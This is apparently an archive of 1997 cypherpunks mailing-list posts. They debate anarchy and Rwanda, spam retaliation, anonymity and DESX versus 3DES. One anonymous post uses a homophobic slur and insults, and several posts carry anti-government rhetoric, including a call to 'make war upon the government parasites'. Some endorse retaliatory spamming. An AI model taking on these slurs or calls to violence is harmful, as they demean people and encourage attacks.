discourse.  Of course, knowing is far better than surmising.  If you care
to suggest a reading list please feel free to mail it to me direct.  And
yes, I am new to this most charming and entertaining list.  Thank you for
the welcome


(end of the quotes from Roger)

Your first point, using some kind of Star Trek lingo, is beyond comment. I
provided a lot more context than your original point provided, and yet you
seem to want even more documentation. Go back and read the archives for a
discussion of this paper (hint: search on "remailers" ANDed with "SAIC."
Pay particular attention to the critique of this paper by such folks as
Raph Levien, and others.

As for sending a reading list to you "direct," first send me a check for
$125.00 and I'll start working on it for you.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Thu, 15 May 1997 05:50:01 +0800
To: cypherpunks@toad.com
Subject: Re: The Inducement of Rapid Oxidation of Certain Materials....
In-Reply-To: <19970514112959.12839@bywater.songbird.com>
Message-ID: <19970514142758.42227@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, May 14, 1997 at 03:07:43PM -0400, Tom Allard wrote:
> kent@songbird.com said:
> 
> > > The correlation between your definition of anarchy and war is obvious,
> > > if you define anarchy as "A lack of government leading to lawlessness"
> > > you are obviously going to see a correlation between this and
> > > lawlessness!
> >
> > That's not *my* definition, it's *the* definition, as described in a
> > standard, reputable dictionary.  I realize that you have your own private
> > definition of the term, that you share with your friends and an esoteric
> > community.  However, I am not a member of that community, so I use the
> > standard meaning.
> 
> How pedantic.  Webster's New World Dictionary (also reputable, I might add),
> has THIS to say about "Anarchy":
> 
>   anarchy n. [Gr. an- without + archos, leader] 1. the absence of government
>   2. political disorder and violence 3. disorder; confusion
> 
> Note the etymology.  Taken to its roots, the word simply means "no leader".

Note the second definition.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <rcgraves@disposable.com>
Date: Thu, 15 May 1997 06:03:26 +0800
To: cypherpunks@cyberpass.net
Subject: Rwanda and "anarchy"
Message-ID: <337A3314.1B990EE4@disposable.com>
MIME-Version: 1.0
Content-Type: text/plain


Kent Crispin wrote:
> On Tue, May 13, 1997 at 08:21:13PM -0800, Tim May wrote:
> > At 6:34 PM -0800 5/13/97, Kent Crispin wrote:
> > 
> > >First of all, it neglects to consider that governments may have
> > >prevented more murders than they caused. This is unknowable, since
> > >we don't have any worthwhile control cases. (I suppose we
> > >might examine a state of anarchic chaos (eg Rawanda) and compare the
> > >percentage of murders...but such cases are symptoms of other human
> > >ills, and cannot be used as a meaningful comparison, I believe.)
> > 
> > Rwanda (or Ruwanda, or...) is a _very_ poor example to pick, as this was
> > not any kind of anarchy such as any of us have ever advocated. Rather,
> > Rwanda was a near-textbook example of one tribal faction (Hutus or
> > Tutsis) coming to power and inititiating a pogrom against the rival
> > faction (Tutsis or Hutus).
> > 
> > Calling this an "anarchy" is comparable to calling the pogrom by the
> > Third Reich against Jews, gypsies, cripples, and others an example of
> > anarchy.
> 
> Nonsense.
> 
> "anarchy n. the absence of government or control, resulting in 
> lawlessness. 2. disorder, confusion" -- Oxford American Dictionary
> 
> Which part of that would you say didn't apply to Rwanda? 

I would say "none." Tim is essentially correct. Ironically, we know he's
correct thanks to the United Nations and Judge Goldstein's International
Criminal Tribunal, which Tim would oppose. (The answer to bad government
is more government?)

Jean-Marie Higiro was Rwanda's Minister of Telecommunications. He saw
the radio turn into a tool of totalitarian propaganda. The killings were
encouraged and organized by the government. He was there.

Lindsey Hilsum was the only English-speaking reporter in Rwanda when the
killings started. She described the situation as "anarchy" because she
did not understand the language or the political situation. She later
retracted that story, and spent several more months in Rwanda and
Burundi
documenting what really happened. She eventually testified before the
ICT
on what she saw. I think she's a really cool person.

Raymond Bonner joined Lindsey in Rwanda later. You might recognize his
name -- he's the guy who was fired by the New York Times because the
Reagan Administration didn't like his reporting on human rights
violations
in El Salvador.

Gilles Peress is a French photojournalist who documented the genocide in
Rwanda both for himself and for the ICT.

I met these folks and browsed the relevant documentation, recordings,
and
photos on April 11th. I believe them when they say it was planned.

Blaming it on "evil government," though, is ludicrous. There was quite a
lot more going on.

If you want to look at anarchic chaos, try, maybe, Albania, or Los
Angeles
after the Rodney King verdict. But even in those cases, the violence had
specific targets for specific reasons. It wasn't unstructured anarchy,
and it didn't last long. For all the press, there were few deaths in
either case.

> In fact, the correlation between anarchy and war is very strong, for
> obvious reasons. Perhaps that is why most intelligent people don't
> consider anarchy a desirable state of affairs.

There is no such thing as anarchy, and there never will be.

-rich
 http://www.stanford.edu/~llurch/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Osborne <osborne@gateway.grumman.com>
Date: Thu, 15 May 1997 03:14:19 +0800
To: "Ross Wright" <rwright@adnetsol.com>
Subject: Re: Spam IS Free Speech
In-Reply-To: <199705140604.XAA01787@adnetsol.adnetsol.com>
Message-ID: <3.0.1.32.19970514145756.009ae140@gateway.grumman.com>
MIME-Version: 1.0
Content-Type: text/plain


Ross Wright wrote:

>You can not retaliate against free speech, Rick.  That's a bad
>thing, plain and simple, black and white.

I have a qoute in my sig database attributed to Woody Allen that says "I
think you should defend to the death their right to march, and then go down
and meet them with baseball bats.", when talking about the KKK.  As much as
I can't stand the man, I actually agree with him on this.  I've got only a
minor problem with Sanford sending spam (it being unsolicited and all), I'm
just saying that I should not be denied the right to spam him right back.

>Some of your metaphors are kinda harsh, and a bit cartoonish.

The US Gov't is harsh and cartoonish (look at GAK), what's your point?

>It depends on what street you are walking, here.  Kevelar *may*
>be in order.

That's true.  I misspoke myself.  Obviously, I'm not going to run through
the streets of CUba screaming "I'm a wealthy high-ranking American", but at
the same time, I'm not going to be walking through Cuba anytime soon,
either.  Do you see my point?  It's all in whether or not it's *solicited*.
 Simply having an email address, to me, is *not* an invitation for everyone
in the world to send me mail to it.

>What's your problem with your 'delete' key?

Nothing.  Like I said: I've got filters.  I'm just saying that I shouldn't
have to use them (in a perfect world), as all "spam" I get should be
solicited.

>Now, here's where you start to go really crazy.  Spam as a weapon?  

Actually, I was just going with the kevlar thing.  Spam, in my view, isn't
necessarily a weapon, but to me it's just as unwanted and unsolicited as a
stray bullet.  If I feel like asking for someone to shoot me, I'll suit up
first, but until then I don't really appreciate the pot shots.

>By now, everyone knows that any of those things are as good as 
>giving away your e-mail address [...] it's an open invitation for
>me to send you advertisements, just like the yellow pages.

Nope, you're getting confused here.  Giving my email address is akin to the
*white* pages, while asking for spam is the *yellow* pages.  If I were to
put my phone number in the white pages of the local phone book (which I
don't), it would be so that someone who has a *need* to contact me could.
If I wanted people calling me for no reason, I'd put an ad in the yellow
pages.  See what I'm saying?

>You have the right to make some snotty reply, but no right
>to intentionally harm.

Aha!  There's the rub!  If I'm paying for my connect time, then spam *is*
harmful.

>Rick, what if someone decided they did not like an opinion 
>you expressed on this list and did the same thing to you?

Did what?  Set up a robot to flame me?  I'd hope they at least had the guts
to not do it anonymously, but I can't fault them for not liking me.

>You, nor anyone else, has a right to lash out at 
>someone for something they say or some ad they send you.

So why then do I not have the right to lash out at them in return?

>No one has a right to retaliate, get it?  First Amendment?  I didn't 
>read in there the right to get back at some poor advertisers, did 
>you?

So you're saying that if I came along and dropped a few billion pamphlets
for a campaign of mine on your house.  In addition to having to pay to get
them cleaned up, you also had to pay for the structural damage my leaflets
caused.  However, since I didn't *intentionally* cause the problems, I am
in the clear?  Give me a break.

>Free Speech : Good      Mail Bombs : Bad

Spam = Mail Bomb = Arp attack.  No essential difference.  Why isn't a mail
bomb or arp attack proctected by your idealized free speech?

>Are you a self centred ass, who's personal feelings are more important
>that the Constitution?

Yes, I am a self-centered ass.  No, my feelings are not more important than
the Constitution, my feelings help *make* the Constitution, remember?  It's
moot, anyway, as I'm not advocating removing free speech.

>You could be doing so much more with your time.

True.  And I could be doing *more* with my time if I didn't have to spend
it setting up spam filters!

>No war, no battles, no skirmishes, no need for "Anti-Spam Laws".

I agree.  I'm not asking for any laws, just the right to annoy spammers
just as much as they annoy me.  Why can't I do that?  If I decide to spam
them, not our of retribution, but as an exercise of my right to free
speech, then how is it any different?

>Just be nice, and everything will work out for the best.

You're more optimistic than I.  It must be nice to not be cynical.


_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
"They're probably foriegners with ways different than our own. They may
do some more..... folk dancing."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Thu, 15 May 1997 04:05:46 +0800
To: The Spectre <spectre@nac.net>
Subject: Re: Anonymity and cowardice
In-Reply-To: <15302945318065@nac.net>
Message-ID: <Pine.LNX.3.95.970514144504.771B-100000@purple.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Wed, 14 May 1997, The Spectre wrote:

> The difference in all these cases (save mine) is that the people you listed
> would have been persecuted, if not prosecuted, for their actions.  Now
> people are hiding out of fear and paranoia of something that in most cases
> doesn't exist.  The people you mentioned never had to deal with this level
> of abuse, either.

Not everybody in the world has the luxury of not worrying about being
persecuted for what they write.  In other countries, free speech is
not a recognized right.  Also, many people express unpopular opinions
that might not cause persecution, but might mean losing a job or
worse.  It is also useful for "liberating" certain information.  In
another message, you said that ftp sites could be used for this same
purpose.  Most ftp sites keep logs, and any corporation or government
agency that has had secret information divulged is going to get the
logs from the server.

As for your comment about "fear and paranoia of something that in most
cases doesn't exist", how do you know it doesn't?  Only a few decades
ago, the U.S. government was conducting illegal, domestic surveillance
on communists, war protestors, civil rights activists, and other groups
the government didn't like.  What's preventing something like this
happening today?  Mailing list messages and news posts don't disappear.
Something you write today could be used against you years later.



Mark
-----BEGIN PGP SIGNATURE-----
Version: 2.6.3
Charset: noconv

iQEVAwUBM3oL9CzIPc7jvyFpAQG1awgAsrUxvyHkhV8o9ZWbJ89YZBybgn050DWA
86JW3pXoohpXXRSPJCI87M/mVgZbbtF2H7yzGb624roPyEpVVc1n0X12ftD8tV3R
BEjpoxaRm8L+oBVpVfyEVH0tUYNqRYdSDruW9+9K6lJua76r88ACGKwalY9MQJXW
KWQ9Li/HeEgtUMCRcTFH8bRxP/US3/7JXdwj0dprq17xZcpKA4550AAIgREUsrkA
WrNhtwzC4V+/w8V6B5dQU85I70LlplAbEkIRPNdEBu5iqUO5WX2eJVzyUM9qixm9
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=90in
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tom Allard <m1tca00@FRB.GOV>
Date: Thu, 15 May 1997 03:46:43 +0800
To: cypherpunks@toad.com
Subject: Re: The Inducement of Rapid Oxidation of Certain Materials....
In-Reply-To: <19970514112959.12839@bywater.songbird.com>
Message-ID: <199705141907.PAA19087@bksmp2.FRB.GOV>
MIME-Version: 1.0
Content-Type: text/plain



kent@songbird.com said:

> > The correlation between your definition of anarchy and war is obvious,
> > if you define anarchy as "A lack of government leading to lawlessness"
> > you are obviously going to see a correlation between this and
> > lawlessness!
>
> That's not *my* definition, it's *the* definition, as described in a
> standard, reputable dictionary.  I realize that you have your own private
> definition of the term, that you share with your friends and an esoteric
> community.  However, I am not a member of that community, so I use the
> standard meaning.

How pedantic.  Webster's New World Dictionary (also reputable, I might add),
has THIS to say about "Anarchy":

  anarchy n. [Gr. an- without + archos, leader] 1. the absence of government
  2. political disorder and violence 3. disorder; confusion

Note the etymology.  Taken to its roots, the word simply means "no leader".

It also says:

  anarchism n. [see anarchy] 1. the theory that all organized government is
  repressive and undesirable 2. resistance to all government

Note the COMPLETE lack of "chaos" or "disorder" in this definition.  Being 
an anarchist, therefore, does NOT imply that one supports chaos and 
disorder.

rgds-- TA  (tallard@frb.gov)
I don't speak for the Federal Reserve Board, it doesn't speak for me.
pgp fingerprint: 10 49 F5 24 F1 D9 A7 D6  DE 14 25 C8 C0 E2 57 9D






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: DataET Research <staff@dataet.com>
Date: Thu, 15 May 1997 06:42:15 +0800
To: cypherpunks@toad.com
Subject: Information request
Message-ID: <337A39D9.303F@dataet.com>
MIME-Version: 1.0
Content-Type: text/plain


Hi,

If you are interested in having a high-quality, but extensively
inexpensive, Web site designed for you, your résumé, or your company,
visit http://www.dataet.com or contact info@dataet.com immediately, and
request for additional information and/or a free cost and time
estimation.

Thanks for your time. We hope to hear from you soon.

Regards,

DataET Research
Data Engineering Technologies

info@dataet.com
http://www.dataet.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Osborne <osborne@gateway.grumman.com>
Date: Thu, 15 May 1997 03:33:37 +0800
To: cypherpunks mailing list <cypherpunks@algebra.com>
Subject: Re: Proxy Cryptography draft available
In-Reply-To: <3.0.1.32.19970514002854.0067f568@popd.ix.netcom.com>
Message-ID: <3.0.1.32.19970514152201.009b05f0@gateway.grumman.com>
MIME-Version: 1.0
Content-Type: text/plain


I had thought about this (proxy crypto) a few weeks ago as an attack.  I
didn't give it much thought, as I'm weak on the math side, and it seemed to
me that it couldn't have been an original idea.

What really worries me is that this proxy function links alot of stuff
together: it links algorithms, it links keys, etc.  If I develop a
supposedly strong system that has a proxy function for another strong
system, then essentially if mine gets broken the other does as well.  Or,
if I recover the key for one system, I can recover the original key from
another system.  The whole situation epitomises the old "A chain is only as
strong as its weakest link" adage.  From a security point of view, this
really doesn't encourage me to include the capability for proxy functions
in any system I should happen to make.  Am I missing something here?
_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
"Everybody just butt out!  I'm not in love with her!  I'm Die Fledermaus!
 The only person that I'm in love with is me and I'm out of here!" -Die
Fledermaus trying to explain his actions.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: daw@cs.berkeley.edu (David Wagner)
Date: Thu, 15 May 1997 06:49:40 +0800
To: cypherpunks@cyberpass.net
Subject: Re: The War is Underway (fwd)
In-Reply-To: <3.0.32.19970513223226.0074e2bc@netcom13.netcom.com>
Message-ID: <5ldel6$1gv@joseph.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain


In article <3.0.32.19970513223226.0074e2bc@netcom13.netcom.com>,
Lucky Green  <shamrock@netcom.com> wrote:
> Contrast this with DESX, which has been
> proven to be twice as hard as DES, therefore having an effective keylength
> of 112 bits.

Actually, that's not true.  Check out the Rogaway/Kilian paper.

It says that, if you've got 2^p known plaintexts, DESX has an effective
keylength of at least 118-p bits.  So, for instance, if you've got 2^32
known plaintexts, DESX only has an effective keylength of 86 bits.

In short, 3DES is (roughly speaking) stronger than DESX.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Thu, 15 May 1997 06:59:01 +0800
To: cypherpunks@toad.com
Subject: Re: Pedantry, Toastmasters, Anarchy, and Crispin
In-Reply-To: <19970514112959.12839@bywater.songbird.com>
Message-ID: <19970514153622.03633@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, May 14, 1997 at 01:22:40PM -0800, Tim May wrote:
> At 11:07 AM -0800 5/14/97, Tom Allard wrote:
> 
> >How pedantic.  Webster's New World Dictionary (also reputable, I might add),
> >has THIS to say about "Anarchy":
> >
> >  anarchy n. [Gr. an- without + archos, leader] 1. the absence of government
> >  2. political disorder and violence 3. disorder; confusion
> >
> >Note the etymology.  Taken to its roots, the word simply means "no leader".
> 
> Tom is exactly right. Citing dictionary definitions without proper
> context--and the context of "anarchy" and "anarcho-capitalism" on this of
> _all_ lists is quite important--is just plain pedantry. 

And in the context of Rwanda the meaning is clear, as well.  I didn't 
start this pointless pedantic thread about the meaning of the word 
"anarchy", Tim -- you did.  I used the word in a perfectly 
meaningful, standard way in a context in which that meaning was 
completely appropriate.  Period.

[...]

> The meaning of anarchy, and how it differs from chaos and random killings,
> has been discussed many times. David Friedman's "The Machinery of Freedom"
> is a good book to start with.
> Bruce Benson's "The Enterprise of Law" also
> discusses how lawlessness is not at all a necessary part of "no rulers"
> (Hint: international trade generally involves "no ruler," given that
> neither the United Nations nor the World Court have much power over such
> things, and yet international trade has worked for several centuries, and
> arguably for millenia, with good success.)

I read the chapters of MoF from Friedman's web site.  I'm sure the 
rest of the book would be interesting, but it is really something for 
the faithful.  I'll keep an eye out for Benson's book, but I suspect 
it too will be something for the faithful.

Saying that anarchy is a pervasive part of real life is disingenuous, 
at best -- government is a pervasive part of real life as well.  You 
choose the books you read, the restaurants, etc, but these things all 
exist in a pervasive net of contracts enforced, ultimately, by the 
government. 

You rail about the actions of Feinstein, Goodlatte, etc, attacking your 
freedoms, but conveniently forget the web laws that protect your 
benefactor.  As they say, integrity is everything -- once you can 
fake that you've got it made.

> As for Kent Crispin's remark that he chooses not to use the "esoteric"
> definition of anarchy that the anarchist community, and economists
> (actually), and others use, and prefers his "Toastmaster's Club" hoary
> recitation of a simple dictionary definition, well, this is why I'm
> becoming convinced that "Kent Crispin" is just a new identity David
> Sternlight has adopted.

How remarkably clever of you.  A fine example of the insight for 
which you are so renown.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Thu, 15 May 1997 04:03:36 +0800
To: cypherpunks@toad.com
Subject: Kill a Fag, Go to Congress / Was--Re: Disinformation in L.A.
Message-ID: <199705141940.PAA05817@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Tom Allard wrote: 
> >   Didn't her boss's murderer walk on the charge by using the defence
> > that he ate too many Twinkies?
> >   No political intrigue here...
> 
> That was the defense, yes.  Dan White was a former cop and treated like a
> hero by fellow cops.  The prosecution never really challenged the Twinkie
> defense, nor did they bring up politics or homophobia as motives.  With a
> prosecution like that, who needs a defense?

  I remember that it was seen as being a message to the gay community
that they were getting too "uppity" for their own good.
  (I wonder how they got that idea? <former cop kills a queer, gets 
treated like a hero, prosecuters play with Little Peter while he gets
off for eating too many Twinkies, and Swinestein is waiting in the 
wings to do an "LBJ">.)
  The government is a lot like the Mob--other politicians can't really
trust you until you've whacked somebody and they have it to hold over
your head so that you'll play along.

SwineMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Thu, 15 May 1997 03:15:03 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: The Inducement of Rapid Oxidation of Certain Materials in or Near Government Buildings
In-Reply-To: <19970513225047.26856@bywater.songbird.com>
Message-ID: <Pine.LNX.3.91.970514153240.1932B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> > Your position is laughable.  Statistics on murder rates are knowable for
> > many countries.  Studying the murder rate for those countries will at least
> > provide a range against which deaths due to government-caused wars can be
> > compared.
> 
> Only meaningful if you can compare with murder rates in a human 
> society without a government...but of course, in fact the only time 
> this happens is when society breaks down entirely.

This is all away from the main point, I have a large dislike of arguments 
which rest entirely on practical grounds, anarchic societies may be more 
violent, this does not offer any reason why they should not be the 
correct type of societies from an idealogical and moral point of view.

> And I am fascinated with the way you make the "government" into a 
> bogeyman that is responsible for all the evils that beset the human 
> race.  No consideration of other factors -- racial and tribal hatred, 
> religious conflicts, class conflicts, etc etc.  A wonderful 
> simplification. 

This argument does have certain substance but it does have flaws:

Firstly, all religion which has caused conflict in the past has been one 
which wielded power in a governmental fashion. I`m no historian, but I 
cannot recall one incident where a religion which had no executive power 
caused violence against other groups of people for religious, or indeed 
any other reason.
For example, the catholic church in the middle ages had a massive amount 
of power and used it to eliminate elements of society which threatened 
it`s position, it acted effectively as a government, which is, after all, 
merely a set of people who adhere to a rough set of beliefs and commonly 
held principals, the root of government is in religion, they are two 
sides of the same coin.

Racial and tribal hatred is a more convincing argument but is still 
rooted in religion, a lot of the violent overthrowings of governments 
around the world have resulted from that government taking a racist 
position, most anti-government protests and indeed even riots in the 
western world are caused by racism or opposition to it.

Class conflicts can be similarly dismissed as another facet of 
government, where the government favours one group of citizens over 
another in terms of the way in which it governs the anger of the 
repressed or badly treated group of people is often directed towards 
those in a better position than them rather than at the government which 
caused their position to become as bad as it did. This is merely the 
jealous nature of humans overcoming their logical side.

Beyond all of this, the argument isn`t really very interesting, I`m not 
interested whether the government murders and kills or not, any 
infringement of the rights of citizens is sufficient in my mind to make 
them criminal, and necessitate their removal from power, murder is merely 
an extreme form of this.

> > >Second, such cases of civil breakdown aside, all humans, for now and
> > >for the conceivable future, live within the context of some kind of
> > >government.  The option of non-government simply doesn't exist. 
> > 
> > That's precisely what the governments and their agents want us to believe.
> > Minarchism is certainly possible,
> 
> Oh boy.  A wonderful dream, minarchism, that everybody *must* secretly
> want, except that some evil force is preventing them from getting to
> it, and you, Jim Bell, are the savior that is going to bring it 
> about.  A classic messiah complex.

I saw nothing in the comment that suggested Jim believed he would bring 
about minarchist government, minarchism is a definite possibility within 
our current society, because it is based on the concept of democracy 
which is accepted by most participants in society and furthermore it has 
been proven to work in the past, the initial stages of the US government 
when the government adhered to the principles of the constitution could 
be called minarchist, you might say that the fact that the government has 
now increased in size and power suggests minarchism did not work, I would 
argue this was merely the fact that the governments power has, until 
recently, been increasing slowly, people take little notice of small 
infringements of their rights, the government know they can safely upset 
a few thousand people at a time without problems, then go on to offend 
the next few thousand once things have cooled down somewhat, at each 
stage of course the objection is small enough to be insignificant, the 
end result is the government can increase its power virtually without bounds.

Now most of the peons accept the "need" for larger and more powerful 
government the pace of change has accelerated, the government has begun 
to use force more and more often to crush opposition to its actions.
The terror state is on its way.

> > >Third, murders caused by governments can't really be separated from
> > >murders caused by individuals.  That is, in many cases deciding
> > >whether a murder is a personal action or a government action is
> > >impossible. 
> > 
> > "Aye vas joost vollowink orderz!"
> > 
> > Sorry, we're still laughing at you.
> 
> When the LA cops beat up Rodney King, do you suppose they got any 
> personal satisfaction out of it?  Or were they just cold government 
> functionaries, doing their job?

I would say part of each, they knew however that their position as 
government thugs protected them to a certain extent from retribution, 
has they been living in a minarchist society where their actions would 
have been punished harshly they may not have acted as they did.

> > >Fourth, it's fashionable in these circles to paint all governments
> > >with the same brush, but in fact, some are much better than others.  
> > >But it only takes one bad one to start a war.  Furthermore, human 
> > >motivations are complex and irrational, so wars are started for 
> > >essentially insane reasons.  This is a human problem, not a problem 
> > >of government.
> > 
> > No, quite the contrary.  Considered from the perspective of the cumulative
> > interests of society, wars are not beneficial or "profitable."  Only from
> > the very limited viewpoint of the military-industrial complex and government
> > employees does war appear to be a net benefit, and that's true only because
> > the interests of most of the population (on whom the effect of war is a net
> > negative) is ignored.  The reason war occurs is that the decision to have a
> > war is made not by society as a whole, but by that tiny fraction which profits.
> 
> So of course ideology could never start a war -- Arabs and Jews *only*
> fight because of their governments, the American revolutionary war 
> was *only* fought because the state governments wanted more power, 
> the Tutsi's and the Hutus only fought because their governments 
> forced them.  A wonderful simplification, blaming everything on 
> "government". 

This is not really an over simplification given my argument above, 
I believe most groupings in society can be reduced to some form of 
government or another, whether it is of your accepted narrow definition 
of government or in a wider sense.

> > Put the decision to have the war back into the hands of the population as a
> > whole, and war will decrease.  Give the public the option to make war upon
> > the government parasites infesting their own land, and war will end 
> > forever.
> 
> A wonderful dream, truly.

Not a dream, a past reality, and indeed, in certain regions where 
government intervention is more extreme than it is in the USA or UK a 
present reality. The only reason for war is government, this is simple to 
see if one defines government as I have above. I do not believe this to 
be an overgeneralisation, merely a statement of fact, government is any 
form of custom or structure which forces certain courses of action on 
people. Of course there are exceptions, such as the NAP, which is a form 
of government under my analagy, which I do not believe could concievably 
be called an initiation of force because of its very limited scope.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Thu, 15 May 1997 01:48:14 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: The Inducement of Rapid Oxidation of Certain Materials....
In-Reply-To: <19970513230543.60364@bywater.songbird.com>
Message-ID: <Pine.LNX.3.91.970514155545.1932C-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> > Calling this an "anarchy" is comparable to calling the pogrom by the Third
> > Reich against Jews, gypsies, cripples, and others an example of anarchy.
> 
> Nonsense.

No, there is a distinct and marked difference between the absence of 
government and the presence of lots of different governments, the reason 
for war in Rwanda is because there are a number of rival factions all 
competing to gain power, a true anarchy has no government whatsoever.
Rwanda is an example of undecided government, not no government.

 
> "anarchy n. the absence of government or control, resulting in 
> lawlessness. 2. disorder, confusion" -- Oxford American Dictionary
> 
> Which part of that would you say didn't apply to Rwanda?  

The entire first definition, there is no absense of government in Rwanda, 
merely a number of different prospective government.

Also, the definition of anarchy is flawed in that it suggests that the 
word refers to the lack of government leading to lawlessness, my 
definition, and I would imagine the definition of most members of this 
list, is that anarchy is the absense of government period. Just because 
the law we refer to doesn`t suit you does not mean it is not a valid system.

> In fact, the correlation between anarchy and war is very strong, for
> obvious reasons.  Perhaps that is why most intelligent people don't
> consider anarchy a desirable state of affairs. 

Cite?

The correlation between your definition of anarchy and war is obvious, if 
you define anarchy as "A lack of government leading to lawlessness" you 
are obviously going to see a correlation between this and lawlessness!
I could counter argue that the correlation between government and war is 
irrefutably stronger but then I would be playing your little game, and I 
don`t want to get drawn into that.

Your comment that most intelligent people consider that anarchy is not a 
desirable state of affairs does not even deserve comment, democratic 
arguments for or against anarchy are completely irrelevant and futile.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Thu, 15 May 1997 07:50:31 +0800
To: Rick Osborne <osborne@gateway.grumman.com>
Subject: Re: Spam IS Free Speech
Message-ID: <199705142339.QAA23731@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain


On or About 14 May 97 at 14:57, Rick Osborne wrote:

> Ross Wright wrote:
> 
> >You can not retaliate against free speech, Rick.  That's a bad
> >thing, plain and simple, black and white.
>
> with him on this.  I've got only a minor problem with Sanford
> sending spam (it being unsolicited and all), I'm just saying that I
> should not be denied the right to spam him right back.

You can spam him back, but with just as many megs as he sends you.  
Match him meg for meg, not 10,000 megs for 1 meg.

I have a unique way of dealing with spammers.  I set up a list of the 
e-mail addresses of the spammers.  Each time a new spammer spams me, 
I send him a copy of the addresses, telling him "I am not interested 
in your product or service, but my associates will be. Here's their 
addresses."  Then I add him to the list, and so on.  This way the 
spammers are spamming each other.  Poetic Justice.  And no harm done.
 
> Do you see my point?  It's all in
> whether or not it's *solicited*.
>  Simply having an email address, to me, is *not* an invitation for
>  everyone
> in the world to send me mail to it.

Well, if you publish it on a website it *is* free game.
 
> >What's your problem with your 'delete' key?
> 
> Nothing.  Like I said: I've got filters.  I'm just saying that I
> shouldn't have to use them (in a perfect world), as all "spam" I get
> should be solicited.

No perfect world here.  Hell the deep dark secret that everyone 
glosses over is the fact that advertisers are using years of 
behavioral analysis to better market to us.  That's the real 
conspiracy.
>
> >By now, everyone knows that any of those things are as good as
> >giving away your e-mail address [...] it's an open invitation for
> >me to send you advertisements, just like the yellow pages.
> 
> Nope, you're getting confused here.  Giving my email address is akin
> to the *white* pages, while asking for spam is the *yellow* pages. 

I agree that the gathering of e-mail address from usenet and from 
mailing lists is a bad thing.  *But*  if you have a web page, you 
have a yellowpages ad.

> If I were to put my phone number in the white pages of the local
> phone book (which I don't), it would be so that someone who has a
> *need* to contact me could. If I wanted people calling me for no
> reason, I'd put an ad in the yellow pages.  See what I'm saying?

Right, but you see what I am saying about a web page being a yellow 
pages ad, right?
 
> >You have the right to make some snotty reply, but no right
> >to intentionally harm.
> 
> Aha!  There's the rub!  If I'm paying for my connect time, then spam
> *is* harmful.

Please, a few megs between cyber-clients?  No harm no foul.  You get 
more megs of crap just from this list!  I'd bet real money on that!
 
> >Rick, what if someone decided they did not like an opinion 
> >you expressed on this list and did the same thing to you?
> 
> Did what?  Set up a robot to flame me?  I'd hope they at least had
> the guts to not do it anonymously, but I can't fault them for not
> liking me.

Set up a robot to send you megs and megs of crap, just for one 
e-mail, that's what I am saying.  You wouldn't like that very much!
 
> >You, nor anyone else, has a right to lash out at 
> >someone for something they say or some ad they send you.
> 
> So why then do I not have the right to lash out at them in return?

You do.  One for one.  Mano a mano.  No more, no less.

 > >No one has a right to retaliate, get it?  First Amendment?  I
> >didn't read in there the right to get back at some poor
> >advertisers, did you?
> 
> So you're saying that if I came along and dropped a few billion
> pamphlets for a campaign of mine on your house.
> *intentionally* cause the problems, I am in the clear?  Give me a
> break.

But, you see, they send the pamphlets to a few billion addresses, not 
just to your house.  Apples and oranges.
 
